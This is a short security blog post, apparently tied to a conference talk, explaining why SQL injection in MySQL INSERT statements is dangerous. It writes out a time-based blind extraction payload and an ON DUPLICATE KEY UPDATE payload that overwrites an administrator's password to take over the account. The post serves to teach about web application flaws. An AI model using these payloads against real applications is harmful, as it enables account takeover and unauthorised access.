SQLi in INSERT worse than SELECT

TL;DR: SQL Injection in INSERT can be used not only to extract data, but also add/modify data in the table used in the query.

Earlier this year I gave a lightning talk at SEC-T about how SQL Injection in INSERT could be worse than in SELECT statements. This post describes why.

Most MySQL injections are used to extract data from the database, but sometimes that’s not enough to compromise the application.

Imagine this: the application has an admin panel, with RCE as a feature. To access it you must either log in as an administrator, or escalate your privileges to administrator. The site uses bcrypt (or some other slow hash), so even if you dump the `users` table, you’re out of luck.

Classical way: time based extraction

Unless, the injection is in an INSERT statement inserting into the `user` table. Let’s imagine the query like this:

 INSERT INTO users (email, password) VALUES ("your_username_input", "bcrypt_hash_of_your_password_input");

To extract data with this SQL injection, we would inject something like this:

 "AND (IF((SELECT password FROM users WHERE email = "admin@example.com") = "bcrypt_hash_of_qwerty", sleep(10), 0)) AND "

Making the query look like this:

 INSERT INTO users (email, password) VALUES ("" AND (IF((SELECT password FROM users WHERE email = "admin@example.com") = "bcrypt_hash_of_qwerty", sleep(10), 0)) AND "", "bcrypt_hash_of_your_password_input");

This would make the page load 10 seconds slower if the password of “admin@example.com” is “qwerty”. Obviously using brute force like this is extremely slow, and you will likely never get the password.

Another way: duplicate key-based insertion

This is where the ON DUPLICATE KEY UPDATE keywords comes in. It’s used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:

  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:

 INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

Slides: https://www.slideshare.net/MathiasKarlsson2/sql-injection-insert-on-duplicate-key-trick
Talk: https://www.youtube.com/watch?v=2V9vv8vQSxM